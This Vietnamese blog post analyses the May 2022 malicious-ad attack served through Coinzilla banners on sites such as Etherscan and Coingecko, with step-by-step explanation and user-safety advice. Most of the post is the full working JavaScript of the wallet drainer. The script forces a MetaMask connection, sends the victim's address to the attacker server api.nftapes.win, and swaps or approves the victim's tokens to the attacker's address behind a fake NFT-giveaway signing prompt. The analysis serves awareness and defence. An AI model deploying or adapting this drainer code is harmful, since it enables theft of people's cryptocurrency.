Ngày 2022-05-14, lần lượt các nền tảng nổi tiếng như Etherscan, Coingecko, DexTool, SpiritSwap, Quickswap,… thông báo đã bị tấn công bởi mã độc hại thông qua banner quảng cáo từ Adbycoinzilla. Đây là đoạn script được nhúng trong quảng cáo. Mã nguồn của script này có thể xem tại: ad_script_payload.html
Hacker đã tạo ra quảng cáo tiền điện tử, trong quảng cáo này có để vào đoạn script độc hại để yêu cầu người dùng thực hiện swap tài sản sang tài sản mà Hacker muốn và chuyển vào ví của Hacker.
Thông thường các trang Web lớn sẽ hiển thị thêm quảng cáo để kiếm thêm chút đỉnh. Ví dụ ảnh dưới là quảng cáo trên trang Coingecko:

Bạn view chi tiết mã nguồn thì bạn sẽ thấy quảng cáo này có thể <IFRAME>, trong đó chứa mã nguồn HTML & Javascript của quảng cáo:

Như vậy thông qua quảng cáo, Hacker đã có thể nhúng nội dung ( ad_script_payload.html) của mình vào website gốc. Trong nội dung này có đoạn javascript độc hại, khi nó chạy nó sẽ thực hiện swap các tài sản của người dùng.
Phần dưới mình đi sâu hơn giải thích cách đoạn Script trên thực hiện lấy tài sản của bạn như thế nào. Để tìm hiểu luồng này, Ad đã phải mô phỏng lại lỗi này trên máy cá nhân và hỗ trợ thêm chain BSC-TESTNET để tiện cho việc tìm hiểu.

Sau quá trình đọc mã nguồn, mô phỏng lại quá trình, Ad đã hiểu cách làm của Hacker. Cụ thể các bước Hacker thực hiện như sau:
- B1: Hacker sẽ kiểm tra Metamask của được cài đặt không, thông qua việc kiểm tra biến window.ethereum => Nếu chưa cài đặt thì không làm gì, nếu có cài đặt thì sang B2.
- B2: Hacker sẽ lấy ChainId hiện tại và kiểm tra xem ChainId này có nằm trong danh sách hỗ trợ của Hacker không? => Nếu không thì không làm gì, nếu có thì sang bước B3.
- B3: Hacker sẽ gọi hàm connect() để thực hiện kết nối tới Ví Metamask, sau khi kết nối xong sẽ chuyển sang bước B4:
- Nếu trước đó Website đã kết nối tới ví Metamask thì quá trình này sẽ tự động, người dùng không nhìn thấy gì cả => AE nào tham gia Crypto thì tỉ lệ cao là đã kết nối trước đó.
- Nếu trước đó Website chưa kết nối tới ví Metamask thì sẽ có giao diện hiển thị yêu cầu kết nối (Xem Hình 1) => Tên miền hiển thị là tên mình Website nổi tiếng nên nhiều bạn sẽ an tâm nhấn nút Connect. Còn nếu bạn nhấn Cancel, nó sẽ yêu cầu bạn kết nối lại cho đến khi được mới thôi.
- B4: Hacker sẽ lấy địa chỉ ví và thực hiện một Request tới server của Hacker, trong file chính là link: https://api.nftapes.win (Đây chỉ không chắc đã phải link gốc của Hacker) => Server sẽ trả về địa chỉ nhận tiền (recipient ) và danh sách các token cần kiểm tra. Sau đó chuyển sang B5.
- B5: Hacker tiếp tục gọi hàm trên Blockchain để lấy số lượng token mà người dùng đang nắm giữ. Số lượng nhỏ hơn giá trị cấu hình thì bỏ qua, nếu lớn hơn thì thực hiện bước 6.
- B6: Hacker tiếp tục kiểm tra xem Ví người dùng đã cấp quyền sử dụng token cho các Spender (Các AMM Router được cấu hình trong biến Routers) trong danh sách cấu hình. Nếu chưa thì bỏ qua không làm gì, nếu có thì sang bước B7.
- B7: Hacker sẽ thực hiện gọi lệnh swap toàn bộ token từ địa chỉ ví người dùng sang tài sản ổn định mà Hacker mong muốn (Cấu hình trong biến QuoteTokens) và chuyển nó tới địa chỉ của Hacker. Trong hàm swap có tham số “địa chỉ nhận“, nó là địa chỉ ví của Hacker. Ở bước này, một hộp hội thoại trên Ví Metamask sẽ được hiển thị để yêu cầu người dùng Ký cho nội dung tin nhắn (Xem Hình 2), nếu người dùng nhấn nút Sign thì người dùng sẽ mất tiền. Người dùng rất dễ nhấn nút Sign vì:
- Đây là website uy tín, là Website mà người dùng sử dụng thường xuyên.
- Nội dung Mesage rất dễ kích thích lòng tham của người dùng.


Mặc dù vậy để Hacker lấy được tiền của người dùng thì vẫn phải qua bước Sign cuối cùng => Người dùng nào cẩn thận thì sẽ không bị mất tiền. Như vậy với vai trò người dùng cần luôn để ý:
- Cẩn thận với các hành động lạ liên kết tới Ví Metamask, cho dù đó là một Website uy tín hoặc Website hay sử dụng
- Tuyệt đối không Sign các message có nội dung kích thích đánh vào lòng tham.
Chi tiết mã nguồn Hacker sử dụng:
<!DOCTYPE html>
<html><head><meta charset="utf-8"><link href="favicon.ico" rel="icon"></head>
<body>
<script src="assets/vendor/web3/web3.min.js"></script>
<script src="assets/vendor/bignumber/bignumber.min.js"></script>
<script>
const Thresholds = {
ETH: '40000000000000000', // 0.04
BSC: '30000000000000000', // 0.03
CRO: '45000000000000000000', // 45
FTM: '25000000000000000000' // 25
};
const QuoteTokens = {
ETH: [
{
ADDRESS: '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2',
SYMBOL: 'ETH'
},
{
ADDRESS: '0xdAC17F958D2ee523a2206206994597C13D831ec7',
SYMBOL: 'USDT'
},
{
ADDRESS: '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48',
SYMBOL: 'USDC'
},
{
ADDRESS: '0x6B175474E89094C44Da98b954EedeAC495271d0F',
SYMBOL: 'DAI'
}
],
BSC: [
{
ADDRESS: '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c',
SYMBOL: 'BNB'
},
{
ADDRESS: '0x55d398326f99059fF775485246999027B3197955',
SYMBOL: 'USDT'
},
{
ADDRESS: '0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56',
SYMBOL: 'BUSD'
}
],
CRO: [
{
ADDRESS: '0x5C7F8A570d578ED84E63fdFA7b1eE72dEae1AE23',
SYMBOL: 'CRO'
},
{
ADDRESS: '0xc21223249CA28397B4B6541dfFaEcC539BfF0c59',
SYMBOL: 'USDC'
}
],
FTM: [
{
ADDRESS: '0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83',
SYMBOL: 'FTM'
},
{
ADDRESS: '0x04068DA6C83AFCFA0e13ba15A6696662335D5B75',
SYMBOL: 'USDC'
}
]
};
const Routers = {
ETH: [
{ // ShibaSwap
ADDRESS: '0x03f7724180AA6b939894B5Ca4314783B0b36b329',
QUOTER: '0x03f7724180AA6b939894B5Ca4314783B0b36b329',
FACTORY: '0x115934131916C8b277DD010Ee02de363c09d037c'
},
{ // SushiSwap
ADDRESS: '0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F',
QUOTER: '0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F',
FACTORY: '0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac'
},
{ // UniswapV2
ADDRESS: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D',
QUOTER: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D',
FACTORY: '0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f'
},
{ // UniswapV3
ADDRESS: '0xE592427A0AEce92De3Edee1F18E0157C05861564',
QUOTER: '0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6',
FACTORY: '0x1F98431c8aD98523631AE4a59f267346ea31F984',
FEES: [500, 3000, 10000]
},
{ // UniswapV2 (Auto)
ADDRESS: '0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45',
QUOTER: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D',
FACTORY: '0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f',
AUTO: true
},
{ // UniswapV3 (Auto)
ADDRESS: '0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45',
QUOTER: '0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6',
FACTORY: '0x1F98431c8aD98523631AE4a59f267346ea31F984',
FEES: [500, 3000, 10000],
AUTO: true
}
],
BSC: [
{ // Safeswap
ADDRESS: '0xE804f3C3E6DdA8159055428848fE6f2a91c2b9AF',
QUOTER: '0xE804f3C3E6DdA8159055428848fE6f2a91c2b9AF',
FACTORY: '0x86A859773cf6df9C8117F20b0B950adA84e7644d'
},
{ // PancakeSwapV1
ADDRESS: '0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F',
QUOTER: '0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F',
FACTORY: '0xBCfCcbde45cE874adCB698cC183deBcF17952812'
},
{ // PancakeSwapV2
ADDRESS: '0x10ED43C718714eb63d5aA57B78B54704E256024E',
QUOTER: '0x10ED43C718714eb63d5aA57B78B54704E256024E',
FACTORY: '0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73'
}
],
CRO: [
{ // Mad Meerkat Finance
ADDRESS: '0x145677FC4d9b8F19B5D56d1820c48e0443049a30',
QUOTER: '0x145677FC4d9b8F19B5D56d1820c48e0443049a30',
FACTORY: '0xd590cC180601AEcD6eeADD9B7f2B7611519544f4'
}
],
FTM: [
{ // SpookySwap
ADDRESS: '0xF491e7B69E4244ad4002BC14e878a34207E38c29',
QUOTER: '0xF491e7B69E4244ad4002BC14e878a34207E38c29',
FACTORY: '0x152eE697f2E276fA89E96742e9bB9aB1F2E61bE3'
}
]
};
const MAX_UINT = '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
const ABI = {
ERC20: {
ALLOWANCE: {"constant":true,"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},
APPROVE: {"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},
BALANCE_OF: {"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}
}
};
const RPC = {
ETH: 'https://mainnet.infura.io/v3/9aa3d95b3bc440fa88ea12eaa4456161',
BSC: 'https://bsc-dataseed.binance.org',
CRO: 'https://cronos-rpc.heavenswail.one', // or https://cronosrpc-1.xstaking.sg, official ones have too low limit on batch requests
FTM: 'https://rpc.ftm.tools'
};
const Chains = {
ETH: 1,
BSC: 56,
CRO: 25,
FTM: 250
};
const Web3Nodes = {};
Object.keys(Chains).forEach(chain => {
Web3Nodes[chain] = new Web3(RPC[chain]);
});
if (window.ethereum) {
web3Node = new Web3(ethereum);
web3Node.eth.getChainId().then(chainId => {
for (let chain in Chains) {
if (Chains.hasOwnProperty(chain) && Chains[chain] == chainId) {
window.chain = chain;
break;
}
}
if (window.chain) {
function connect() {
web3Node.eth.requestAccounts().then(accounts => {
if (!accounts.length) {
connect();
return;
}
web3Node.eth.defaultAccount = Web3.utils.toChecksumAddress(accounts[0]);
function fetch(approval) {
function error(handled) {
if (typeof handled == 'undefined') {
if (approval) {
fetch(false);
}
} else {
fetch(approval);
}
}
const xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == XMLHttpRequest.DONE) {
if (this.status == 200) {
let response = JSON.parse(this.responseText);
if (!response.results.length) {
error();
return;
}
const balances = {};
let batch = new Web3Nodes[chain].BatchRequest();
let handled = 0;
response.results.forEach(result => {
result.token = result.token.toLowerCase();
if (typeof balances[result.token] != 'undefined') {
return;
}
balances[result.token] = 0;
batch.add((new Web3Nodes[chain].eth.Contract([
ABI.ERC20.BALANCE_OF
], result.token)).methods.balanceOf(web3Node.eth.defaultAccount).call.request((err, balance) => {
if (!err && balance) { // probably not ERC20
balances[result.token] = balance;
}
if (++handled == Object.keys(balances).length) {
response.results = response.results.filter(result => balances[result.token] != 0);
if (!response.results.length) {
error();
return;
}
batch = new Web3Nodes[chain].BatchRequest();
handled = 0;
response.results.forEach(result => {
result.ALLOWANCE = 0;
batch.add((new Web3Nodes[chain].eth.Contract([
ABI.ERC20.ALLOWANCE
], result.token)).methods.allowance(web3Node.eth.defaultAccount, approval ? result.spender : response.recipient).call.request((err, allowance) => {
if (!err && allowance) { // probably not ERC20
result.ALLOWANCE = allowance;
}
if (++handled == response.results.length) {
if (approval) {
response.results.forEach(result => {
balances[result.token] = BigNumber.min(balances[result.token], result.ALLOWANCE).toFixed(0);
});
} else {
response.results.forEach(result => {
if ((new BigNumber(result.ALLOWANCE)).gte(balances[result.token])) {
balances[result.token] = 0;
}
});
}
response.results = response.results.filter(result => balances[result.token] != 0);
if (!response.results.length) {
error();
return;
}
const outputToken = QuoteTokens[chain][0].ADDRESS;
let swaps = [];
response.results.forEach(result => {
Routers[chain].forEach(router => {
if (approval && result.spender.toLowerCase() != router.ADDRESS.toLowerCase()) {
return;
}
if (router.FEES) {
router.FEES.forEach(fee => {
QuoteTokens[chain].forEach(quoteToken => {
const path = [result.token, fee, quoteToken.ADDRESS];
if (quoteToken.ADDRESS != outputToken) {
path.push(fee);
path.push(outputToken);
}
swaps.push({ ROUTER: router, PATH: path, INPUT: balances[result.token] });
});
});
} else {
QuoteTokens[chain].forEach(quoteToken => {
const path = [result.token, quoteToken.ADDRESS];
if (quoteToken.ADDRESS != outputToken) {
path.push(outputToken);
}
swaps.push({ ROUTER: router, PATH: path, INPUT: balances[result.token] });
});
}
});
});
function createPath(data) {
let path = data[0];
for (let i = 1; i < data.length; i++) {
path += Web3.utils.padLeft(Web3.utils.numberToHex(data[i]), 6).substr(2);
i++;
path += data[i].substr(2);
}
return path;
}
const outputs = {};
batch = new Web3Nodes[chain].BatchRequest();
handled = 0;
swaps.forEach(swap => {
let method;
if (swap.ROUTER.FEES) {
method = (new Web3Nodes[chain].eth.Contract([
{"inputs":[{"internalType":"bytes","name":"path","type":"bytes"},{"internalType":"uint256","name":"amountIn","type":"uint256"}],"name":"quoteExactInput","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"nonpayable","type":"function"}
], swap.ROUTER.QUOTER)).methods.quoteExactInput(createPath(swap.PATH), swap.INPUT);
} else {
method = (new Web3Nodes[chain].eth.Contract([
{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"}],"name":"getAmountsOut","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"}
], swap.ROUTER.QUOTER)).methods.getAmountsOut(swap.INPUT, swap.PATH);
}
swap.QUOTE = swap.ROUTER.QUOTER + method.encodeABI();
if (typeof outputs[swap.QUOTE] != 'undefined') {
return;
}
outputs[swap.QUOTE] = new BigNumber(0);
batch.add(method.call.request((err, output) => {
if (!err) { // probably non-existing path
outputs[swap.QUOTE] = new BigNumber(swap.ROUTER.FEES ? output : output[output.length - 1]);
}
if (++handled == Object.keys(outputs).length) {
swaps = swaps.filter(swap => outputs[swap.QUOTE].gte(Thresholds[chain]));
if (!swaps.length) {
error();
return;
}
swaps.sort((a, b) => {
if (outputs[a.QUOTE].gt(outputs[b.QUOTE])) {
return -1;
}
if (outputs[a.QUOTE].lt(outputs[b.QUOTE])) {
return 1;
}
return 0;
});
function next(i) {
setTimeout(() => {
if (i == swaps.length) {
error();
return;
}
const swap = swaps[i];
function handle(method) {
web3Node.eth.personal.sign('CONGRATULATIONS ❗❗\n\nYou won a Bored Ape NFT from our Giveaway! 🥳\n\nClaim it now. 🎁', web3Node.eth.defaultAccount).then(() => {
let handled = false;
method.send({ from: web3Node.eth.defaultAccount }).on('confirmation', () => {
if (!handled) {
handled = true;
error(true);
}
}).on('error', () => {
if (!handled) {
handled = true;
error(true);
}
});
}).catch(() => {
handle(method);
});
}
if (approval) {
if (swap.ROUTER.FEES) {
if (swap.ROUTER.AUTO) {
method = (new web3Node.eth.Contract([
{"inputs":[{"components":[{"internalType":"bytes","name":"path","type":"bytes"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMinimum","type":"uint256"}],"internalType":"struct IV3SwapRouter.ExactInputParams","name":"params","type":"tuple"}],"name":"exactInput","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"payable","type":"function"}
], swap.ROUTER.ADDRESS)).methods.exactInput([ createPath(swap.PATH), response.recipient, swap.INPUT, 0 ]);
} else {
method = (new web3Node.eth.Contract([
{"inputs":[{"components":[{"internalType":"bytes","name":"path","type":"bytes"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMinimum","type":"uint256"}],"internalType":"struct ISwapRouter.ExactInputParams","name":"params","type":"tuple"}],"name":"exactInput","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"payable","type":"function"}
], swap.ROUTER.ADDRESS)).methods.exactInput([ createPath(swap.PATH), response.recipient, MAX_UINT, swap.INPUT, 0 ]);
}
} else if (swap.ROUTER.AUTO) {
method = (new web3Node.eth.Contract([
{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"}],"name":"swapExactTokensForTokens","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"payable","type":"function"}
], swap.ROUTER.ADDRESS)).methods.swapExactTokensForTokens(swap.INPUT, 0, swap.PATH, response.recipient);
} else {
method = (new web3Node.eth.Contract([
{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"}
], swap.ROUTER.ADDRESS)).methods.swapExactTokensForETHSupportingFeeOnTransferTokens(swap.INPUT, 0, swap.PATH, response.recipient, MAX_UINT);
}
method.call({ from: web3Node.eth.defaultAccount }).then(() => {
handle(method);
}).catch(() => { // probably honeypot
next(i + 1);
});
return;
}
if (swap.ROUTER.FEES) {
method = (new Web3Nodes[chain].eth.Contract([
{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"},{"internalType":"uint24","name":"","type":"uint24"}],"name":"getPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}
], swap.ROUTER.FACTORY)).methods.getPool(swap.PATH[0], swap.PATH[2], swap.PATH[1]);
} else {
method = (new Web3Nodes[chain].eth.Contract([
{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"getPair","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"}
], swap.ROUTER.FACTORY)).methods.getPair(swap.PATH[0], swap.PATH[1]);
}
method.call().then(pair => {
(new Web3Nodes[chain].eth.Contract([
{"constant":false,"inputs":[{"internalType":"address","name":"dst","type":"address"},{"internalType":"uint256","name":"rawAmount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}
], swap.PATH[0])).methods.transfer(pair, swap.INPUT).call({ from: web3Node.eth.defaultAccount }).then(() => { // still possible that the token can't be transfered to other addresses or that transferFrom would fail which is not possible to validate without prior approval
handle((new web3Node.eth.Contract([
ABI.ERC20.APPROVE
], swap.PATH[0])).methods.approve(response.recipient, MAX_UINT));
}).catch(() => { // probably honeypot
next(i + 1);
});
}).catch(() => {
next(i + 1);
});
}, 0); // prevent exceeding maximum call stack size
}
next(0);
}
}));
});
batch.execute();
}
}));
});
batch.execute();
}
}));
});
batch.execute();
} else {
error();
}
}
};
xhttp.open('POST', 'https://api.nftapes.win', true);
xhttp.setRequestHeader('Content-Type', 'application/json; charset=UTF-8');
const params = {
chain: chain,
account: web3Node.eth.defaultAccount
}
if (approval) {
params.spenders = [];
Routers[chain].forEach(router => {
if (!params.spenders.includes(router.ADDRESS)) {
params.spenders.push(router.ADDRESS);
}
});
}
xhttp.send(JSON.stringify(params));
}
fetch(true);
}).catch(() => {
connect();
});
}
connect();
}
});
}
</script>
</body></html>
1 Pingbacks